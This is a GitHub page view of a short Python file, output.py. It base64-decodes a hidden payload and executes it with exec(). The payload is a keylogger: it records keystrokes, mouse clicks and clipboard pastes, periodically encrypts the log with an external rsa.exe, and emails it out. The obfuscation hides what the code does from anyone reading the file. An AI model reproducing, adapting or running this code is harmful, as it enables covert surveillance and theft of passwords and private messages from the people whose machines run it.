-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathoutput.py
6 lines (6 loc) · 12.6 KB
/
output.py
1
2
3
4
5
6
import base64
data = "ZnJvbSB0aHJlYWRpbmcgaW1wb3J0IExvY2ssVGhyZWFkCmZyb20gcGF0aGxpYiBpbXBvcnQgUGF0aApmcm9tIHB5bnB1dCBpbXBvcnQga2V5Ym9hcmQKZnJvbSBweW5wdXQgaW1wb3J0IG1vdXNlCmltcG9ydCBweXBlcmNsaXAKaW1wb3J0IHRpbWUKZnJvbSBzdWJwcm9jZXNzIGltcG9ydCBjYWxsCmZyb20gbWFpbCBpbXBvcnQgc2VuZF9maWxlCmltcG9ydCBvcwoKd29yZHMgPVtdCmxvY2sgPUxvY2soKQpXT1JEU19MSU1JVCA9IDEwClRJTUVfTElNSVQgPSA2MCoxNQoKZGVmIGVtYWlsX3RocmVhZCgpOgogICAgZ2xvYmFsIFRJTUVfTElNSVQsV09SRFNfTElNSVQsd29yZHMKICAgIGN1cnJUaW1lID0gVElNRV9MSU1JVAogICAgd2hpbGUoVHJ1ZSk6CiAgICAgICAgdGltZS5zbGVlcCgxKQogICAgICAgIGN1cnJUaW1lIC09IDEKICAgICAgICBsb2NrLmFjcXVpcmUoKQogICAgICAgIGlmIGN1cnJUaW1lIDw9IDAgb3IgbGVuKHdvcmRzKT49IFdPUkRTX0xJTUlUOgogICAgICAgICAgICBjdXJyVGltZSA9IFRJTUVfTElNSVQKICAgICAgICAgICAgZmlsZSA9IG9wZW4oInRtcC50eHQiLCd3JykKICAgICAgICAgICAgZm9yIHdvcmQgaW4gd29yZHM6CiAgICAgICAgICAgICAgICBmaWxlLndyaXRlKHN0cih3b3JkKSsnXG4nKQogICAgICAgICAgICBmaWxlLmNsb3NlKCkKICAgICAgICAgICAgY2FsbChbIi4vcnNhLmV4ZSIsICIxMDUyNzYzNTE5MSIsICIxMzUiLCAiMSIsInRtcC50eHQiLCJsb2cucnNhIl0pCiAgICAgICAgICAgIHNlbmRfZmlsZSgibG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NlbGYsIGYpOgogICAgICAgIHNlbGYueC5mcm9tX2J5dGVzKGYucmVhZCg0KSwgImJpZyIpCgogICAgZGVmIGZyb21LZXlib2FyZChzZWxmLCBrZXk6IGtleWJvYXJkLktleSwgY2Fwc19lbmFibGVkOiBib29sKToKICAgICAgICBzZWxmLnggPSAwCiAgICAgICAgc2VsZi54IHw9IDEgPDwgc2VsZi5iaXRfdHlwZQogICAgICAgIGlmIGlzaW5zdGFuY2Uoa2V5LCBrZXlib2FyZC5LZXlDb2RlKToKICAgICAgICAgICAgaWYgY2Fwc19lbmFibGVkOgogICAgICAgICAgICAgICAgc2VsZi54IHw9IDEgPDwgc2VsZi5iaXRfY2Fwc19lbmFibGVkCgogICAgICAgICAgICBpZiBrZXkuY2hhciBpcyBub3QgTm9uZToKICAgICAgICAgICAgICAgIHNlbGYueCB8PSBvcmQoa2V5LmNoYXIpCiAgICAgICAgICAgICAgICBzZWxmLnggfD0gMCA8PCBzZWxmLmJpdF9udW1wYWQKICAgICAgICAgICAgZWxpZiBoYXNhdHRyKGtleSwgJ3ZrJykgYW5kIDk2IDw9IGtleS52ayA8PSAxMDU6CiAgICAgICAgICAgICAgICAjIG51bXBhZCBrZXlzICwgZmsgcHl0aG9uCiAgICAgICAgICAgICAgICBzZWxmLnggfD0gb3JkKCcwJykgKyBrZXkudmsgLSA5NgogICAgICAgICAgICAgICAgc2VsZi54IHw9IDEgPDwgc2VsZi5iaXRfbnVtcGFkCiAgICAgICAgICAgIGVsaWYgaGFzYXR0cihrZXksICd2aycpIGFuZCA0OCA8PSBrZXkudmsgPD0gNTc6CiAgICAgICAgICAgICAgICAjIG51bXBhZCBrZXlzICwgZmsgcHl0aG9uCiAgICAgICAgICAgICAgICBzZWxmLnggfD0gb3JkKCcwJykgKyBrZXkudmsgLSA0OAogICAgICAgICAgICAgICAgc2VsZi54IHw9IDEgPDwgc2VsZi5iaXRfbnVtcGFkCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBwcmludCgid3RmIGlzIHRoaXMga2V5IG15IGd1eSA/PyIpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgc2VsZi54IHw9IGtleS5fdmFsdWVfLnZrICAjIGFnYWluICwgZmsgcHl0aG9uCiAgICAgICAgICAgIHNlbGYueCB8PSAxIDw8IHNlbGYuYml0X21vZAogICAgICAgICAgICAjIHN0b3JlIHRoZSBpbmRleCsxIGluIHRoZSBzZWNvbmQgOC1iaXRzIGN1eiBJIGNhbgogICAgICAgICAgICAjIGFsc28gY2FuIGNoZWNrIGZvciBpdCBpZiBpdHMgbm90IGVxdWFsIHplcm8gdGhlbgogICAgICAgICAgICAjIGl0cyBhIGZvY3VzIGNoYW5nZXIga2V5CiAgICAgICAgICAgIGkgPSAxCiAgICAgICAgICAgIGZvciBrIGluIHNlbGYuZm9jdXNfa2V5czoKICAgICAgICAgICAgICAgIGlmIGsgPT0ga2V5OgogICAgICAgICAgICAgICAgICAgIHNlbGYueCB8PSBpIDw8IDgKICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgaSA9IGkgKyAxCgogICAgZGVmIGZyb21Nb3VzZShzZWxmLCBrZXk6IG1vdXNlLkJ1dHRvbik6CiAgICAgICAgc2VsZi54ID0gMAogICAgICAgIHNlbGYueCB8PSAwIDw8IHNlbGYuYml0X3R5cGUKICAgICAgICB2YWwgPSAyNTUKICAgICAgICBpZiBrZXkgPT0gbW91c2UuQnV0dG9uLmxlZnQ6CiAgICAgICAgICAgIHZhbCA9IDAKICAgICAgICBlbGlmIGtleSA9PSBtb3VzZS5CdXR0b24ucmlnaHQ6CiAgICAgICAgICAgIHZhbCA9IDEKICAgICAgICBlbGlmIGtleSA9PSBtb3VzZS5CdXR0b24ubWlkZGxlOgogICAgICAgICAgICB2YWwgPSAyCiAgICAgICAgc2VsZi54IHw9IHZhbAoKICAgIGRlZiBpc0tleWJvYXJkS2V5KHNlbGYpOgogICAgICAgIHJldHVybiBzZWxmLnggJiAoMSA8PCBzZWxmL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ToKICAgICAgICAgICAgICAgIHByaW50KCJrZXlib2FyZHt0eXBlPW1vZCAsIGZvY3VzPSIsIHNlbGYuaXNGb2N1c0NoYW5nZXJLZXkoKSwgIn0iKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KCJtb3VzZXt2YWx1ZT0iLCBzZWxmLmdldE1vdXNlQnV0dG9uKCksICIsIGZvY3VzPSIsIHNlbGYuaXNGb2N1c0NoYW5nZXJLZXkoKSwgIn0iKQoKCmNsYXNzIFZpcnR1YWxUZXh0RmllbGRPYmplY3Q6CiAgICBkZWYgX19pbml0X18oc2VsZiwgc3VibWl0KToKICAgICAgICBzZWxmLnRleHQgPSAiIgogICAgICAgIHNlbGYuZnVuYyA9IHN1Ym1pdAogICAgICAgIHNlbGYucG9zID0gMAogICAgICAgIHNlbGYuY2FwcGVkID0gRmFsc2UKICAgICAgICBzZWxmLm51bV9sb2NrID0gVHJ1ZQogICAgICAgIHNlbGYuc2VsZWN0aW9uID0gRmFsc2UKCiAgICBkZWYgcmVzZXRfdGV4dChzZWxmKToKICAgICAgICBzZWxmLnBvcyA9IDAKICAgICAgICBzZWxmLnRleHQgPSAiIgogICAgICAgIHNlbGYuc2VsZWN0aW9uID0gRmFsc2UKCiAgICBkZWYgcmVzZXQoc2VsZik6CiAgICAgICAgc2VsZi5wb3MgPSAwCiAgICAgICAgc2VsZi5jYXBwZWQgPSBGYWxzZQogICAgICAgIHNlbGYubnVtX2xvY2sgPSBUcnVlCiAgICAgICAgc2VsZi50ZXh0ID0gIiIKICAgICAgICBzZWxmLnNlbGVjdGlvbiA9IEZhbHNlCgogICAgZGVmIG9uS2V5KHNlbGYsIGtleTogS2V5T2JqZWN0KToKICAgICAgICBpZiBrZXkuaXNLZXlib2FyZEtleSgpOgogICAgICAgICAgICBpZiBrZXkuaXNDaGFyS2V5KCk6CiAgICAgICAgICAgICAgICBpZiBrZXkuaXNDb21tYW5kKCk6CiAgICAgICAgICAgICAgICAgICAgaWYga2V5LmdldE1vZEtleU51bWJlcigpID09IDE6CiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGYuc2VsZWN0aW9uID0gVHJ1ZQogICAgICAgICAgICAgICAgICAgIGVsaWYga2V5LmdldE1vZEtleU51bWJlcigpID09IDB4MTY6CiAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBOb25lCiAgICAgICAgICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpbWUuc2xlZXAoMC4yKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YSA9IHB5cGVyY2xpcC5wYXN0ZSgpCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBhbnk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIGlzaW5zdGFuY2UoZGF0YSwgc3RyKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlbGYudGV4dCA9IHNlbGYudGV4dFs6c2VsZi5wb3NdICsgZGF0YSArIHNlbGYudGV4dFtzZWxmLnBvczpdCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWxmLnBvcyArPSBsZW4oZGF0YSkKICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgaWYgc2VsZi5zZWxlY3Rpb246CiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGYucmVzZXRfdGV4dCgpCgogICAgICAgICAgICAgICAgICAgIGMgPSBrZXkuZ2V0Q2hhcigpCiAgICAgICAgICAgICAgICAgICAgaWYgc2VsZi5jYXBwZWQ6CiAgICAgICAgICAgICAgICAgICAgICAgICMgc3dpdGNoIGZyb20gdXBwZXIgdG8gbG93ZXIgYW5kIHZpY2UtdmVyc2EKICAgICAgICAgICAgICAgICAgICAgICAgdmFsID0gb3JkKGMpCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIG9yZCgnYScpIDw9IHZhbCA8PSBvcmQoJ3onKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbCA9IHZhbCAtIG9yZCgnYScpICsgb3JkKCdBJykKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiBvcmQoJ0EnKSA8PSB2YWwgPD0gb3JkKCdaJyk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWwgPSB2YWwgLSBvcmQoJ0EnKSArIG9yZCgnYScpCiAgICAgICAgICAgICAgICAgICAgICAgIGMgPSBjaHIodmFsKQoKICAgICAgICAgICAgICAgICAgICBzZWxmLnRleHQgPSBzZWxmLnRleHRbOnNlbGYucG9zXSArIGMgKyBzZWxmLnRleHRbc2VsZi5wb3M6XQogICAgICAgICAgICAgICAgICAgIHNlbGYucG9zICs9IDEKICAgICAgICAgICAgZWxpZiBrZXkuaXNNb2RLZXkoKToKICAgICAgICAgICAgICAgIGlmIGtleS5pc0ZvY3VzQ2hhbmdlcktleSgpOgogICAgICAgICAgICAgICAgICAgIHNlbGYuZnVuYyhzZWxmLnRleHQpCiAgICAgICAgICAgICAgICAgICAgc2VsZi5yZXNldF90ZXh0KCkKCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgIGlmIHNlbGYuc2VsZWN0aW9uOgogICAgICAgICAgICAgICAgICAgICAgICBzZWxmLnJlc2V0X3RleHQoKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4KCiAgICAgICAgICAgICAgICAgICAgTW9kS2V5TnVtYmVyID0ga2V5LmdldE1vZEtleU51bWJlcigpCiAgICAgICAgICAgICAgICAgICAgaWYgTW9kS2V5TnVtYmVyID09IGtleWJvYXJkLktleS5jYXBzX2xvY2suX3ZhbHVlXy52azoKICAgICAgICAgICAgICAgICAgICAgICAgc2VsZi5jYXBwZWQgPSBub3Qgc2VsZi5jYXBwZWQKICAgICAgICAgICAgICAgICAgICBlbGlmIE1vZEtleU51bWJlciA9PSBrZXlib2FyZC5LZXkucmlnaHQuX3ZhbHVlXy52azoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgbGVuKHNlbGYudGV4dCkgPiBzZWxmLnBvczoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlbGYucG9zICs9IDEKICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgcHJpbnQoc2VsZi5wb3MpCiAgICAgICAgICAgICAgICAgICAgZWxpZiBNb2RLZXlOdW1iZXIgPT0ga2V5Ym9hcmQuS2V5LmxlZnQuX3ZhbHVlXy52azoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgMCA8IHNlbGYucG9zOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZi5wb3MgLT0gMQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBwcmludChzZWxmLnBvcykKICAgICAgICAgICAgICAgICAgICBlbGlmIE1vZEtleU51bWJlciA9PSBrZXlib2FyZC5LZXkuc3BhY2UuX3ZhbHVlXy52azoKICAgICAgICAgICAgICAgICAgICAgICAgc2VsZi50ZXh0ID0gc2VsZi50ZXh0WzpzZWxmLnBvc10gKyAnICcgKyBzZWxmLnRleHRbc2VsZi5wb3M6XQogICAgICAgICAgICAgICAgICAgICAgICBzZWxmLnBvcyArPSAxCiAgICAgICAgICAgICAgICAgICAgZWxpZiBNb2RLZXlOdW1iZXIgPT0ga2V5Ym9hcmQuS2V5LmRlbGV0ZS5fdmFsdWVfLnZrOgogICAgICAgICAgICAgICAgICAgICAgICBpZiBzZWxmLnBvcyA8IGxlbihzZWxmLnRleHQpOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VsZi50ZXh0ID0gc2VsZi50ZXh0WzpzZWxmLnBvc10gKyBzZWxmLnRleHRbc2VsZi5wb3MgKyAxOl0KICAgICAgICAgICAgICAgICAgICBlbGlmIE1vZEtleU51bWJlciA9PSBrZXlib2FyZC5LZXkuYmFja3NwYWNlLl92YWx1ZV8udms6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIHNlbGYucG9zID4gMDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlbGYudGV4dCA9IHNlbGYudGV4dFs6c2VsZi5wb3MgLSAxXSArIHNlbGYudGV4dFtzZWxmLnBvczpdCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWxmLnBvcyAtPSAxCiAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICAgICAgcGFzcwogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHNlbGYuZnVuYyhzZWxmLnRleHQpCiAgICAgICAgICAgIHNlbGYucmVzZXRfdGV4dCgpCgoKZGVmIHRleHRIYW5kbGVyKHRleHQpOgogICAgaWYgbGVuKHRleHQpID09IDA6CiAgICAgICAgcmV0dXJuCiAgICBnbG9iYWwgd29yZHMKICAgIGxvY2suYWNxdWlyZSgpCiAgICB3b3Jkcy5hcHBlbmQoc3RyKHRleHQpKQogICAgbG9jay5yZWxlYXNlKCkKICAgIHByaW50KGYic3VibWl0dGVkOiBcInt0ZXh0fVwiIikKCgp0ZXh0ZmllbGQgPSBWaXJ0dWFsVGV4dEZpZWxkT2JqZWN0KHRleHRIYW5kbGVyKQoKCmRlZiBoYW5kbGVLZXkoeCk6CiAgICBnbG9iYWwgdGV4dGZpZWxkCgogICAgciA9IEtleU9iamVjdCgpCiAgICByLmZyb21LZXlib2FyZCh4LCBGYWxzZSkKICAgIHRleHRmaWVsZC5vbktleShyKQoKCmRlZiBoYW5kbGVNb3VzZUtleSh4LCB5LCBidXR0b24sIHByZXNzZWQpOgogICAgaWYgbm90IHByZXNzZWQ6CiAgICAgICAgcmV0dXJuCiAgICByID0gS2V5T2JqZWN0KCkKICAgIHIuZnJvbU1vdXNlKGJ1dHRvbikKICAgIHRleHRmaWVsZC5vbktleShyKQoKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICAjIHByaW50KCJDYWNoZSBEaXIgOiAiICsgdG1wKQoKICAgIGxpc3RlbmVyID0ga2V5Ym9hcmQuTGlzdGVuZXIob25fcHJlc3M9aGFuZGxlS2V5KQogICAgbGlzdGVuZXIuc3RhcnQoKQoKICAgIGxpc3RlbmVyMiA9IG1vdXNlLkxpc3RlbmVyKG9uX2NsaWNrPWhhbmRsZU1vdXNlS2V5KQogICAgbGlzdGVuZXIyLnN0YXJ0KCkKICAgIAogICAgZW1haWxfc2VuZGVyID0gVGhyZWFkKHRhcmdldCA9IGVtYWlsX3RocmVhZCkKICAgIGVtYWlsX3NlbmRlci5zdGFydCgpCgogICAgbGlzdGVuZXIuam9pbigpCg=="
code = base64.b64decode(data).decode('utf-8')
exec(code)
if __name__ == "__main__":
print('test')